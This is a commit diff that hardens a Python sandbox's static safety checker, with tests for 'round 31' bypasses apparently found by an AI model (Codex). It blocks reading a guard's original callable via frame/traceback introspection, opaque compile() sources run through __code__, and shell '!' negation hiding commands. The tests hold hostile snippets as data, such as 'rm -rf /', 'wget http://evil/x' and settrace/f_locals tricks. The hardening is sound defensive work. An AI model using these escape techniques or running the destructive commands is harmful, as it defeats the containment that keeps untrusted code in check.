Harden sandbox: block frame introspection, opaque compile, and shell pipeline negation
- Block frame / traceback introspection that recovers a runtime guard's original callable: the open()/os.* guard wrappers hold the unguarded callable as a free variable (real), so a snippet that triggers a denied open() could read it back via a trace hook or the caught exception's traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and call it directly. __closure__ / cell_contents were already blocked, so the frame path was the remaining channel; add the frame acquisition + value-read attributes (f_locals, f_globals, f_back, f_builtins, tb_frame, tb_next, gi_frame, cr_frame, ag_frame, settrace, setprofile, _getframe, _current_frames, currentframe) to the introspection-gadget set, flagged for any receiver in both the attribute and getattr-string forms. - Treat an opaque compile() source as executable: compile() does not itself run, but its code object can be executed WITHOUT exec / eval (fn.__code__ = compile(src, '<p>', 'exec'); fn()), so a non-literal compile source is as unverifiable as an opaque exec / eval payload and is now blocked too. A literal compile source is still analyzed recursively and stays allowed. - Treat a leading shell ! as command-position syntax: in bash ! negates the pipeline exit status but the following word is still the executed command, so ! touch /tmp/escape / ! python3 -c ... slipped past the child-writer / interpreter blocklist. Skip a command-position ! in the command scanner and the wrapper-aware command-word resolver so the real command is scanned; a ! in argument position ([ ! -f x ], find . ! -name ...) is unaffected. Adds TestRound31Bypasses.
This commit is contained in:
parent
bcc023b456
commit
cc12c8d10a
2 changed files with 103 additions and 4 deletions
|
|
@ -926,6 +926,12 @@ def _find_blocked_commands(command: str) -> set[str]:
|
|||
continue
|
||||
if not expect_command:
|
||||
continue
|
||||
# A leading `!` negates the pipeline exit status, but the following word is still the
|
||||
# command bash executes (`! touch x`, `! python3 -c ...`). Keep command position so the
|
||||
# real command is scanned, rather than mistaking `!` for the command and its command for
|
||||
# an argument.
|
||||
if token == "!":
|
||||
continue
|
||||
# FOO=bar assignment prefix; next non-assignment token is the command.
|
||||
if _ASSIGNMENT_RE.match(token):
|
||||
continue
|
||||
|
|
@ -1082,6 +1088,8 @@ def _find_blocked_commands(command: str) -> set[str]:
|
|||
continue
|
||||
if not expect:
|
||||
continue
|
||||
if _tok == "!":
|
||||
continue # pipeline negation keeps command position (! bash s.sh)
|
||||
if _ASSIGNMENT_RE.match(_tok):
|
||||
continue
|
||||
if pending and _is_wrapper_numeric_arg(_tok):
|
||||
|
|
@ -4900,12 +4908,14 @@ def _check_signal_escape_patterns(
|
|||
),
|
||||
}
|
||||
)
|
||||
elif func_id != "compile":
|
||||
else:
|
||||
# An opaque, non-recoverable payload for an executing sink (eval/exec/
|
||||
# runpy) is a universal ACE bypass: it can synthesize any shell/network/
|
||||
# filesystem escape at runtime, invisibly to every static check. Block it
|
||||
# (compile() alone does not run, so it stays allowed -- the exec/eval of its
|
||||
# result is caught at that call). ast.literal_eval / json.loads cover data.
|
||||
# filesystem escape at runtime, invisibly to every static check. compile()
|
||||
# does not itself run, but its CODE OBJECT can be executed without exec/eval
|
||||
# (fn.__code__ = compile(src, '<p>', 'exec'); fn()), so an opaque compile
|
||||
# source is equally unverifiable and is blocked too. A literal source is
|
||||
# analyzed recursively above; ast.literal_eval / json.loads cover data.
|
||||
dynamic_exec.append(
|
||||
{
|
||||
"type": "dynamic_exec",
|
||||
|
|
@ -5007,6 +5017,28 @@ def _check_signal_escape_patterns(
|
|||
"__builtins__",
|
||||
"__closure__",
|
||||
"cell_contents",
|
||||
# Frame / traceback introspection recovers a runtime-guard wrapper's ORIGINAL
|
||||
# unguarded callable: it is a free variable (`real`) in the wrapper's frame, so a
|
||||
# snippet that triggers a denied open() can read it back via a trace hook or the
|
||||
# caught exception's traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and
|
||||
# call it directly, escaping the filesystem boundary. __closure__ / cell_contents
|
||||
# are already blocked, so the frame path is the remaining channel; close it by
|
||||
# flagging frame acquisition (settrace / _getframe / currentframe / tb_frame) and
|
||||
# the f_locals / f_globals value read for ANY receiver.
|
||||
"f_locals",
|
||||
"f_globals",
|
||||
"f_back",
|
||||
"f_builtins",
|
||||
"tb_frame",
|
||||
"tb_next",
|
||||
"gi_frame",
|
||||
"cr_frame",
|
||||
"ag_frame",
|
||||
"settrace",
|
||||
"setprofile",
|
||||
"_getframe",
|
||||
"_current_frames",
|
||||
"currentframe",
|
||||
}
|
||||
)
|
||||
|
||||
|
|
|
|||
|
|
@ -3393,3 +3393,70 @@ class TestRound30Bypasses:
|
|||
)
|
||||
def test_round30_benign_allowed(self, code):
|
||||
_ok(code)
|
||||
|
||||
|
||||
class TestRound31Bypasses:
|
||||
"""Thirty-first-round Codex findings: frame / traceback introspection recovering a runtime
|
||||
guard's original callable, an opaque compile() source executable via __code__, and a bash
|
||||
pipeline-negation `!` mistaken for the command word."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
# A leading ! negates the pipeline but the next word is still the command that runs.
|
||||
"import os\nos.system('! touch /tmp/escape')",
|
||||
"import os\nos.system('! python3 -c \"import os\"')",
|
||||
"import subprocess\nsubprocess.run('! wget http://evil/x', shell=True)",
|
||||
"import os\nos.system('! rm -rf /')",
|
||||
"import os\nos.system('! bash script.sh')",
|
||||
],
|
||||
)
|
||||
def test_shell_negation_command_position_blocked(self, code):
|
||||
assert _check_code_safety(code) is not None, code
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
# An opaque compile() source is executable via fn.__code__ = compile(...); fn(),
|
||||
# bypassing exec / eval / types.FunctionType, so it must be blocked like exec.
|
||||
"src = get()\nc = compile(src, '<p>', 'exec')",
|
||||
"def f():\n pass\nf.__code__ = compile(payload, '<p>', 'exec')\nf()",
|
||||
"c = compile(open('p.py').read(), '<p>', 'exec')",
|
||||
],
|
||||
)
|
||||
def test_opaque_compile_blocked(self, code):
|
||||
assert _check_code_safety(code) is not None, code
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
# Frame / traceback introspection can read a guard wrapper's original `real` callable
|
||||
# from frame.f_locals after a denied open(); block the acquisition + f_locals read.
|
||||
"import sys\ndef t(fr, e, a):\n r = fr.f_locals.get('real')\n return t\nsys.settrace(t)",
|
||||
"try:\n open('/x', 'w')\nexcept PermissionError as e:\n r = e.__traceback__.tb_frame.f_locals['real']",
|
||||
"import sys\nr = sys._getframe(1).f_locals",
|
||||
"import inspect\nr = inspect.currentframe().f_back.f_locals",
|
||||
"import sys\nr = getattr(sys._getframe(), 'f_locals')",
|
||||
"import sys\nsys.setprofile(hook)",
|
||||
],
|
||||
)
|
||||
def test_frame_introspection_blocked(self, code):
|
||||
assert _check_code_safety(code) is not None, code
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
# A literal compile source is analyzed recursively and stays allowed; ! in argument
|
||||
# position (test / find) is not a command; frame-free code and normal exception /
|
||||
# traceback formatting must still pass.
|
||||
"c = compile('1 + 1', '<p>', 'eval')\nprint(eval('1 + 1'))",
|
||||
"c = compile('x = 1\\nprint(x)', '<p>', 'exec')",
|
||||
"import os\nos.system('[ ! -f x.txt ]')",
|
||||
"import os\nos.system(\"find . ! -name '*.py' -print\")",
|
||||
"import numpy as np\nx = np.stack([np.ones(3)])\nprint(x.sum())",
|
||||
"try:\n x = 1 / 0\nexcept ZeroDivisionError as e:\n print('caught', e)",
|
||||
"import traceback\ntry:\n f()\nexcept Exception:\n traceback.print_exc()",
|
||||
],
|
||||
)
|
||||
def test_round31_benign_allowed(self, code):
|
||||
_ok(code)
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue